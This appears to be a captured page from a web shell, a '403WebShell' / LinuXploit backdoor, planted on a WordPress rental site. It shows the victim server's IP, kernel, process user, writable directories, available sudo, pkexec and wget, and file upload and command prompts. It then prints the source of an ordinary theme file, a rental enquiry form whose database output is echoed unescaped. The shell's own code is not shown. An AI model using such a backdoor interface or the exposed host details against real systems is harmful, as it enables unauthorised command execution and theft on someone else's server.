Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.216.63
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/themes/hello-elementor-child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/themes/hello-elementor-child/enquirypage.php
<style>
/* Floating Button */
#floating-button {
    transition: background-color 0.3s;
    position: fixed; 
    top: 48%; 
    right: -108px;
    z-index: 1;
}

#enquiry-float-btn{
    background-color: #000;
    color:#ffbd2b;
    letter-spacing: 2px;
    border: 1px solid #000;
    font-size: 17px;
    -webkit-transform: rotate(270deg);
    -moz-transform: rotate(270deg);
    -o-transform: rotate(270deg);
    -ms-transform: rotate(270deg);
    transform: rotate(270deg);
}
#floating-button-sell {
    cursor: pointer;
    transition: background-color 0.3s;
    position: fixed; 
    top: 48%; 
    right: -58px;
    z-index: 1000;
}

#sale-equipments-float-btn{
    background-color: #000;
    color:#ffbd2b;
    letter-spacing: 2px;
    border: 1px solid #000;
    -webkit-transform: rotate(270deg);
    -moz-transform: rotate(270deg);
    -o-transform: rotate(270deg);
    -ms-transform: rotate(270deg);
    transform: rotate(270deg);
}
/* Popup */
#leadCreateForm input[type="text"], #leadCreateForm input[type="email"], #leadCreateForm select, #leadCreateForm input[type="date"], #leadCreateForm textarea {
    border: 1px solid #E4EBEB !important;
    box-shadow: 0px 1px 2px 0px #E4E5E73D;
    border-radius: 8px !important;
    background-color: #F8FAFB !important;
}
#popup {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.5);
    z-index: 1000;
    justify-content: center;
    align-items: center;
}

#popup > div {
    background-color: white;
    margin: 15% auto;
    padding: 20px;
    border: 1px solid #888;
    width: 80%;
    max-width: 600px;
    border-radius: 10px;
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
    position: relative;
}

#popup span {
    color: #aaa;
    float: right;
    font-size: 28px;
    font-weight: bold;
    cursor: pointer;
}

#popup span:hover {
    color: black;
}

#leadCreateForm .form-row label {
    line-height: 1;
}

#sale-equipmentpopup {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.5);
    z-index: 1000;
    justify-content: center;
    align-items: center;
}

#sale-equipmentpopup > div {
    background-color: white;
    margin: 15% auto;
    padding: 20px;
    border: 1px solid #888;
    width: 80%;
    max-width: 600px;
    border-radius: 10px;
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
    position: relative;
}

#sale-equipmentpopup span {
    color: #aaa;
    float: right;
    font-size: 28px;
    font-weight: bold;
    cursor: pointer;
}

#sale-equipmentpopup span:hover {
    color: black;
}

.textboxstyle{
	background-color: #f1f1f1;
    border-color: #b4b4b4;
    border-radius: 8px 8px 8px 8px;
    line-height: 1.2rem;
    min-height: 43px;
}


.error-msg{
    color: red !important;
    font-weight: bold !important;
    font-size: 14px !important;
    margin: 0 !important;
    float: left !important;
}
.required{
    color: red !important;
    font-weight: bold !important;
    float: none !important;
    font-size: 18px !important;
}
.succ-msg{
    color:#5cb85c}
    #swal2-title{
        font-size: 24px;
        line-height: 40px;
        color: green;
    }
	button#submitButton {
		background-color: #FFBD2B !important;
		border-color: #FFBD2B !important;
		text-transform: uppercase;
		color: #000 !important;
	}
</style>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>

<!-- Floating Button -->
<!-- <div id="floating-button">
    <button onclick="togglePopup()" id="enquiry-float-btn">
        <i aria-hidden="true" class="icon icon-phone-call1"></i> &nbsp;RENTAL ENQUIRY
    </button>
</div> -->

<script>
    $(document).ready(function() {
    $('#enquiry-float-btn').on('click', function() {
        $('#leadCreateForm')[0].reset(); 
       jQuery("#success-message").hide();
       jQuery('#submitButton').show();
    });
});

</script>

<script>
function togglePopup() {

    var popup = document.getElementById("popup");
    if (popup.style.display === "none" || popup.style.display === "") {
        popup.style.display = "block";
    } else {
        popup.style.display = "none";
    }
}
</script>



<!-- Popup -->

        <form class="form-horizontal" method="post" action="javascript:void(0);" id="leadCreateForm">
					<?php
					$user_ID = get_current_user_id();
					if($user_ID == 0){
					?>
					<div class="form-row">
					  <div class="form-group col-md-6">
						<label for="full_name">Full Name <span class="required">*</span></label>
						<input type="text" class="form-control textboxstyle" id="full_name" name="full_name" value="">
						<span class="error-message wc_fname"></span>
					  </div>
					  <div class="form-group col-md-6">
						<label for="lead_email">Email Address <span class="required">*</span></label>
						<input type="email" class="form-control textboxstyle" id="lead_email" name="lead_email" value="">
						<span class="error-message wc_email"></span>
					  </div>
					</div>
					<div class="form-row">
					  <div class="form-group col-md-6">
						<label for="lead_phone">Phone Number <span class="required">*</span></label>
						<input type="text" class="form-control textboxstyle" id="lead_phone" name="lead_phone" value="" maxlength="10" oninput="this.value = this.value.replace(/[^0-9.]/g, ''); this.value = this.value.replace(/(\..*)\./g, '$1');">
						<span class="error-message wc_phone"></span>
					  </div>
					  <div class="form-group col-md-6">
						<label for="enq_location">Select Location <span class="required">*</span></label>
						<select class="form-control textboxstyle" id="enq_location" name="location">
                                <option value="">Select Location </option>
                                 <option value="Andhra Pradesh">Andhra Pradesh</option>
                                <option value="Chhattisgarh">Chhattisgarh</option>
                                <option value="Delhi">Delhi</option>
                                <option value="Goa">Goa</option>
                                <option value="Gujarat">Gujarat</option>
                                <option value="Karnataka">Karnataka</option>
                                <option value="Kerala">Kerala</option>
                                <option value="Madhya Pradesh">Madhya Pradesh</option>
                                <option value="Maharashtra">Maharashtra</option>
                                <option value="Tamil Nadu">Tamil Nadu</option>
                                <option value="Telangana">Telangana</option>
<!--                                 <option value="Uttar Pradesh">Uttar Pradesh</option> -->
                            </select>
							<span class="error-message wc_location"></span>
					  </div>
					</div>
					<?php
					}else{
						$current_user = wp_get_current_user();
						?>
						<input type="hidden" class="form-control" id="full_name" name="full_name" value="<?php echo $current_user->first_name.' '.$current_user->last_name;?>">
						<input type="hidden" class="form-control" id="lead_email" name="lead_email" value="<?php echo $current_user->user_email;?>">
						<input type="hidden" class="form-control" id="lead_phone" name="lead_phone" value="<?php echo $current_user->user_phone ?? '';?>">
						<div class="form-row">
							<div class="form-group col-md-12">
								<label for="enq_location">Select Location <span class="required">*</span></label>
						<select class="form-control textboxstyle" id="enq_location" name="location">
                                <option value="">Select Location </option>
                                 <option value="Andhra Pradesh">Andhra Pradesh</option>
                                <option value="Chhattisgarh">Chhattisgarh</option>
                                <option value="Delhi">Delhi</option>
                                <option value="Goa">Goa</option>
                                <option value="Gujarat">Gujarat</option>
                                <option value="Karnataka">Karnataka</option>
                                <option value="Kerala">Kerala</option>
                                <option value="Madhya Pradesh">Madhya Pradesh</option>
                                <option value="Maharashtra">Maharashtra</option>
                                <option value="Tamil Nadu">Tamil Nadu</option>
                                <option value="Telangana">Telangana</option>
<!--                                 <option value="Uttar Pradesh">Uttar Pradesh</option> -->
                            </select>
							<span class="error-message wc_location"></span>
							</div>
						</div>
						<?php
					}
					?>
					<div class="form-row">
						<div class="form-group col-md-6">
							<label for="start_date">Start Date <span class="required">*</span></label>
							<input type="date" class="form-control textboxstyle start_date" name="start_date" value="" min="<?php echo date("Y-m-d"); ?>" 
                            onkeydown="return false" onpaste="return false">
                            <span class="error-message wc_startdate"></span>
						</div>
						<div class="form-group col-md-6">
							<label for="end_date">End Date <span class="required">*</span></label>
							<input type="date" class="form-control textboxstyle end_date" name="end_date" value="" min="<?php echo date("Y-m-d"); ?>" 
                            onkeydown="return false" onpaste="return false">
                            <span class="error-message wc_enddate"></span>
						</div>
					</div>
					<div class="form-row">
						<div class="form-group col-md-6">
							<label for="product_name">Select Equipment <span class="required">*</span></label>
							<select class="form-control textboxstyle" id="product_name" name="product_name">
							<option value="">Select Equipment</option>
							<?php
                                 $query = new WP_Query(array(
                                    'post_type' => 'product',
                                    'post_status' => 'publish',
                                    'posts_per_page' => '-1',
                                    // 'meta_query' => array(
                                    //     array(
                                    //         'key' => 'purpose_of_listing', 
                                    //         'value' => 'display',          
                                    //         'compare' => '='               
                                    //     )
                                    // )
                                ));
								if ($query->have_posts()) :
									// while ($query->have_posts()) : $query->the_post();

							        //     echo '<option value="' . get_the_title() . '">' . get_the_title() . '</option>';

						            // endwhile;
                                    $shown_titles = array(); // keep track of already displayed titles
                                    while ($query->have_posts()) : $query->the_post();
                                        $title = get_the_title();
                                        if (!in_array($title, $shown_titles)) {
                                            echo '<option value="' . esc_attr($title) . '">' . esc_html($title) . '</option>';
                                            $shown_titles[] = $title;
                                        }
                                    endwhile;
                                    wp_reset_postdata();
						echo '</select>';
						wp_reset_postdata();

						else:
							echo "";
						endif; 
						
							?>
						</select> 
                        <span class="error-message wc_product_name"></span>             
						</div>
						<div class="form-group col-md-6">
							<label for="subsidary_products">Select Additional Equipment</label>
							<select class="form-control textboxstyle" name="subsidary_products" id="subsidary_products">
								<option value="">Select Additional Equipment</option>
								<?php
									global $wpdb;
									$result = $wpdb->get_results("SELECT id,name FROM wp_equipments");
									foreach ($result as $row) {
									?>
										<option value="<?php echo $row->name;?>"><?php echo $row->name;?></option>
									<?php
									}
								?>
									<option value="others">Others</option>
							</select>                    
						</div>
					</div>
					<div class="form-group">
                        <label for="addn">Remarks</label>
                        <textarea class="form-control textboxstyle" name="addn" id="addn"></textarea>
                    </div>
					
					<div class="form-group" id="feedback"></div>
					<div id="myDiv">
						<?php
							$ajaximgurl = home_url().'/wp-content/themes/hello-elementor-child/custom/spinner-gif.gif';   
						?>
						<img id="loading-image" src="<?php echo $ajaximgurl;?>" style="display:none;"/>
                        <p id="success-message" style="display:none;"></p>
					</div>
                    <button type="submit"  id="submitButton" class="btn btn-primary" onclick="createLead()">Submit</button>
        </form>


<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script type="text/javascript">
var url = "<?php echo home_url().'/wp-content/themes/hello-elementor-child/custom/createnewleads.php';?>";


function createLead() {

    event.preventDefault();
    var full_name = jQuery('#full_name').val();
    var lead_email = jQuery('#lead_email').val();
    var lead_phone = jQuery('#lead_phone').val();
    var mobileValid = /^\d{10}$/.test(lead_phone);
    var location = jQuery('#enq_location').val();
    var product_name = jQuery('#product_name').val();
    var subsidary_products = jQuery('#subsidary_products').val();
    var addn = jQuery('#addn').val();
    var start_date = jQuery('.start_date').val();
    var end_date = jQuery('.end_date').val();
    var isValid = true; // Track form validation status

    // Clear previous error messages
    jQuery('.error-msg').html('');

    // Name validation
    if (full_name == '') {
        jQuery('.wc_fname').html("Please Enter First Name").addClass("error-msg");
        isValid = false;
    }


    // Email validation
    if (lead_email.trim() === '') {
        jQuery('.wc_email').html("Please enter an email address").addClass("error-msg");
        isValid = false;
    } else if (!validateEmail(lead_email)) {
        jQuery('.wc_email').html("Please enter a valid email address").addClass("error-msg");
        isValid = false;
    }

    // Function to validate email format
    function validateEmail(email) {
        const emailPattern = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
        return emailPattern.test(email);
    }


    // Phone validation
    if (lead_phone == '') {
        jQuery('.wc_phone').html("Please Enter Phone Number").addClass("error-msg");
        isValid = false;
    } else if (!mobileValid) {
        jQuery('.wc_phone').html("Please Enter 10 Digit Phone Number").addClass("error-msg");
        isValid = false;
    }

    // Start Date Validation

    if (start_date == '') {
        jQuery('.wc_startdate').html("Please Select Start Date").addClass("error-msg");
        isValid = false;
    }

    // End Date Validation

    if (end_date == '') {
        jQuery('.wc_enddate').html("Please Select End Date").addClass("error-msg");
        isValid = false;
    }

    
	// If end date is before start date, reset it
	if (end_date < start_date) {
        jQuery('.wc_enddate').html("End Date Should be after Start Date").addClass("error-msg");
        isValid = false;

	}


    // Location validation
    if (location == '') {
        jQuery('.wc_location').html("Please Select Location").addClass("error-msg");
        isValid = false;
    }

    // Product name validation
    if (product_name == '') {
        jQuery('.wc_product_name').html("Please Select Product Name").addClass("error-msg");
        isValid = false;
    }

    // If the form is not valid, prevent submission
    if (!isValid) {
        return false;
    }

    // Form is valid, proceed with AJAX submission
    jQuery.ajax({
        type: "POST",
        url: "<?php echo home_url('wp-content/themes/hello-elementor-child/custom/createnewleads.php');?>",
        data: "full_name=" + full_name + "&lead_email=" + lead_email + "&lead_phone=" + lead_phone + "&location=" + location + "&product_name=" + encodeURIComponent(product_name) + "&subsidary_products=" + encodeURIComponent(subsidary_products) + "&remarks=" + addn + "&start_date=" + start_date + "&end_date=" + end_date,
        beforeSend: function () {
            jQuery("#loading-image").show();
        },
        success: function (data) {
            $('#success-message').html('Enquiry Submitted Successfully.<br>Our Executive will Contact You Soon.').css('color', 'green').fadeIn();
            jQuery("#loading-image").hide();
            $('#submitButton').hide();
            
        }
    });

}


</script>



Youez - 2016 - github.com/yon3zu
LinuXploit